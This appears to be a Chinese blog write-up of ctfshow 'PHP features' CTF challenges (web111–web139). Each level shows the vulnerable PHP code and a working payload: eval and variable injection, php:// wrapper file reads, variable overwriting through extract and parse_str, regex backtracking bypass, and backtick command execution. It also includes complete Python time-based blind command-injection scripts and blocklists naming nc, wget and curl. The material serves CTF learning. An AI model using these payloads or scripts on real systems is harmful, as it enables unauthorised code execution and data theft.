ctfshow php特性

web111

源代码

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");  //这里是一个赋值语句把v2的值复制下面通过get获得的$$v1值
    var_dump($$v1);       //打印$$v1的值
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
          //下面过滤后基本就是输入字母的意思
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){  //当$v1的值有ctfshow时,运行下面语句
            getFlag($v1,$v2);
    }

payload:?v1=ctfshow&v2=GLOBALS

web112

1.源代码

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}
//大概意思就是需要你给file这个参数赋值然后需要你的值绕过前面的过滤最后到这个highlight_file函数

2.知识点

is_file函数:判断输入的参数是不是文件

特点:PHP伪协议对这个函数来说不是函数

highlight_file函数:高亮文件

特点:对这个函数来说是函数

3.解题

payload:?file=php://filter/resource=flag.php

 web 113

1.源代码

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
} <?php

2.解题

(1)利用函数所能处理的长度限制进行目录溢出

/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php

(2)利用压缩协议

?file=compress.zlib://flag.php

(3)补充知识

该函数检测的时候是以绝对路径来检测的,当输入的路径中第一级目录是不存在的,返回了yes绕过该函数的检测。但是利用文件读取时,文件路径必须存在可访问,

web 114

payload:

php://filter/resource=flag.php


web115

1.源代码

include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
}

2.代码解析

trim() 函数

    移除字符串两侧的空白字符或其他预定义字符。 功能除去字符串开头和末尾的空格或其他字符。 函数执行成功时返回删除了string字符串首部和尾部空格的字符串,发生错误时返回空字符串("")。        如果任何参数的值为NULL,Trim() 函数返回NULL。

num要为数字或数字字符串,但不能等于36,取出空白字符后也不能为36,进入filter之后出来还要为36

…十六进制和八进制都被限制了不让用

3.解题

这里可以使用 %0c 来进行绕过

%0c==\f

%f和%lf分别是float类型和double类型用于格式化输入输出时对应的格式符号

payload:?num=%0c36

 

web 123

1.源代码

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

2.解题思路

开始想法:看到最后echo $flag  想突破这个过滤结果发现目前代码是暂时不可能的

然后再看代码:发现$c在eval()函数里面,这不就可以任意代码执行了吗

然后直接构造payload:  在post里面      CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag

3.收获

有时候,你想得到的结果不一定是他给你的直接,也许可以另辟蹊径呢?

 

web 125

1.源代码

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
         eval("$c".";");
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

2.解题思路

这里又把flag给过滤掉了,但是我们这里的$c还是相当于没有过滤的

种类我们可以利用get来传一个参数好然后再在post里面赋值

直接绕过过滤

3.payload

GET:  ?n=flag.php

POST: CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[n])

 

 

web126

1.代码

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}

2.解析

利用$_SERVER['argv'],

$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建。

'argv'  传递给该脚本的参数的数组。当脚本以命令行方式运行时,argv 变量传递给程序 C 语言样式的命令行参数。当通过 GET 方式调用时,该变量包含query string。

意思就是通过$_SERVER['argv']将$a变成数组,再利用数组的性质将fl0g=flag_give_me传入,同时还绕过第一个if中的!isset($_GET['fl0g'])),用+来进行分隔,使得数组中有多个数值。

执行eval函数也就是执行$c即是parse_str($a[1]),使得fl0g=flag_give_me,从而进入第三个if语句。

parse_str() 函数把查询字符串解析到变量中

3..payload:

GET ?a=1+fl0g=flag_give_me

POST CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

 

web127

1.代码

error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}

if(waf($url)){
    die("嗯哼?");
}else{
    extract($_GET);
}


if($ctf_show==='ilove36d'){
    echo $flag;
}

2.解析

别看这么多内容

在url中空格会被转换为_

3.payload

?ctf show=ilove36d

web 128

1.源代码

error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}



function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
}

2.知识点

小知识点: _()是一个函数

_()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll

get_defined_vars()函数

get_defined_vars — 返回由所有已定义变量所组成的数组 这样可以获得 $flag

3.payload

payload: ?f1=_&f2=get_defined_vars

web129

1.源代码

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){  //检查字符出现位置并回显,这里需要我们输入的ctfshow不在首位
        echo readfile($f);    //这里有一个阅读函数文件
    }
}

 

2.解题

根据上面的代码分析

我们需要通过传入ctfshow参数后然后进行文件读取

所以我们可以通过readfile函数进行目录穿越

payload:/ctfshow/../../../../../var/www/html/flag.php

然后页面没有显示我们查看源代码可以得到flag

web131

1.代码

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = (String)$_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f,'36Dctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

}

 

2.知识点

正则表达式是溢出 https://www.laruence.com/2010/06/08/1579.html 大概意思就是在php中正则表达式进行匹配有一定的限制,超过限制直接返回false

stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。

注释:stripos() 函数是不区分大小写的。

返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。

注释:字符串位置从 0 开始,不是从 1 开始。

3.解题

这里利用脚本来做一下

import requests
 
url=''
data={
    'f':'very'*250000+'36Dctfshow'
}
r=requests.post(url=url,data=data).text
print(r)

 

web132

1.信息收集

先访问robots.txt

然后得到一个一个目录不让我们访问/admin

但是我们偏要

2.代码

include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];

    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
        
        if($code == 'admin'){
            echo $flag;
        }
        
    }
}

3.知识点

运算符运算规则: x && y 当x为false时,直接跳过,不执行y; 对于“或”(||) 运算 : x||y 当x为true时,直接跳过,不执行y。

mt_rand() 使用 Mersenne Twister 算法返回随机整数。

 

4.解题

 

payload:?code=admin&password&username=admin

 

web133

1.源代码

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("6个字母都还不够呀?!");
    }
}

2.思路

这里思路是看的wp,主要思路入下

我们传递?F=`$F`;+sleep 3好像网站确实sleep了一会说明的确执行了命令
**那为什么会这样?**
因为是我们传递的`$F`;+sleep 3。先进行substr()函数截断然后去执行eval()函数
这个函数的作用是执行php代码,``是shell_exec()函数的缩写,然后就去命令执行。
而$F就是我们输入的`$F`;+sleep 3 使用最后执行的代码应该是
``$F`;+sleep 3`,就执行成功
这里就是再指向的eval命令

3.步骤

使用bp代出数据然后抓包

https://blog.csdn.net/qq_46091464/article/details/109095382

 

 

web134

1.源码

highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
}

 

 2.函数功能

parse_str() 函数:把查询字符串解析到变量中

 

extract() 函数:从数组中将变量导入到当前的符号表。

该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

第二个参数 type 用于指定当某个变量已经存在,而数组中又有同名元素时,extract() 函数如何对待这样的冲突。

该函数返回成功导入到符号表中的变量数目。

3.解题

 php变量覆盖 利用点是 extract($_POST); 进行解析$_POST数组。 先将GET方法请求的解析成变量,然后在利用extract() 函数从数组中将变量导入到当前的符号表。

payload:?_POST[key1]=36d&_POST[key2]=36d

 

web135

1.源代码

 

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("师傅们居然破解了前面的,那就来一个加强版吧");
    }
}

 

基本利用点也是通过eval函数进行命令执行

这里的方式就很多了

2.思路

非预期;

绕过eval函数

如下:

 payload: ?F=`$F` ;cp flag.php 2.txt;

直接把flag复制到2.txt里面来

然后访问2.txt

 

 

web136

1.源代码与代码解析

<?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);//调用check函数
    exec($c); //exec在PHP里面可以用来代码执行
}
else{
    highlight_file(__FILE__);
}
?>

 

2.思路

开始尝试了一些没有被过滤的函数,然后发现没有回显

但是并没有被拦截所以

准备想办法把数据代出来

但是这里过滤了crul参数

然后这里还过滤了 . 参数,这里也写不进1.txt里面

 

然后看wp还有一个tee命令

tee命令:

在输出信息的同时把信息记录到文件中

 具体使用方法可以看这篇文章。

https://zhuanlan.zhihu.com/p/34510815

 

3.实施

payload1:?c=ls /|tee 1  (因为这里被过滤了  .  所以我们就只能放到1这个文件里来)

然后访问1这个文件就会直接下载,然后可以在里面发现flag

1.

 payload2: ?c=cat /f149_15_h3r3|tee 2

 然后访问 2 并查看

 

web137

1.源代码

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}



call_user_func($_POST['ctfshow']);

 

 

2.知识点

call_user_func()函数是用于调用第一个参数指定的回调函数,并将剩余的参数作为回调函数的参数。

语法请查看:https://www.php.net/manual/zh/function.call-user-func.php

 

这段代码里,如果要调用getFlag()函数,可以通过POST请求传递一个数组作为ctfshow参数,数组的第一个元素是类名,第二个元素是静态方法名。

如:ctfshow[]=ctfshow&ctfshow[]=getFlag 

还可以使用  ::  来调用类

::符号在PHP中是用于访问类的静态属性或方法的。例如,ctfshow::getFlag()就是调用ctfshow类的静态方法getFlag()。

::符号也可以用于访问父类的属性或方法,或者常量

 3.解题

payload1:ctfshow=ctfshow::getFlag

payload2:ctfshow[]=ctfshow&ctfshow[]=getFlag

 记得在源代码里面查看flag

web138

1.源代码

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}

if(strripos($_POST['ctfshow'], ":")>-1){
    die("private function");
}

call_user_func($_POST['ctfshow']);

2.解题

和刚才的题差不多,这题用上面数组的方式传入参数可以解题

记得在源代码里面查看flag

payload:ctfshow[]=ctfshow&ctfshow[]=getFlag

 

web139

1.源代码

<?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?>

 

虽然代码确实和前面136的代码一样但是却拿不到文件

2.思路

我们执行了   ?c=ls /|tee 1

没有报错也没有回显,而且还页面跳转了

说明没有被过滤并且命令可能执行了

这里有两种原因:

   1.没有写权限

   2.没有读权限

然后我们来看命令到底执行没有

使用sleep函数来看看睡不睡

参数: ?c=ls/|sleep 3

发现页面出先明显延迟

或者直接看network这里也行

 说明成功执行命令

 

这里我们能够想到什么

首先 |  与 命令是来找非的,一旦有错误就运行

所以我们可以利用时间盲注来进行判断我们的命令是否成功执行

 

3.解题

脚本

找目录脚本

import requests
import time
import string
str=string.ascii_letters+string.digits+'_~'
result=""
for i in range(1,10):#
    key=0
    for j in range(1,15):#
        if key==1:
            break
        for n in str:
            #awk 'NR=={0}'逐行输出获取
            #cut -c {1} 截取单个字符
            payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i,j,n)
            #print(payload)
            url="http://873b2081-3b04-4517-a10d-dcb44382c44c.challenge.ctf.show/?c="+payload
            try:
                requests.get(url,timeout=(2.5,2.5))
            except:
                result=result+n
                print(result)
                break
            if n=='~':
                key=1
                result+=" "
#找到flag:/f149_15_h3r3

 

 

找flag脚本

import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"
result=""
key=0
for j in range(1,45):
    print(j)
    if key==1:
        break
    for n in str:
        payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)
        #print(payload)
        url="http://b76bf2c7-70e7-401f-a490-f5963e74b581.challenge.ctf.show/?c="+payload
        try:
            requests.get(url,timeout=(2.5,2.5))
        except:
            result=result+n
            print(result)
            break

 

 

posted @ 2023-05-21 21:26  小熊猫爱bamboo  阅读(290)  评论(0编辑  收藏  举报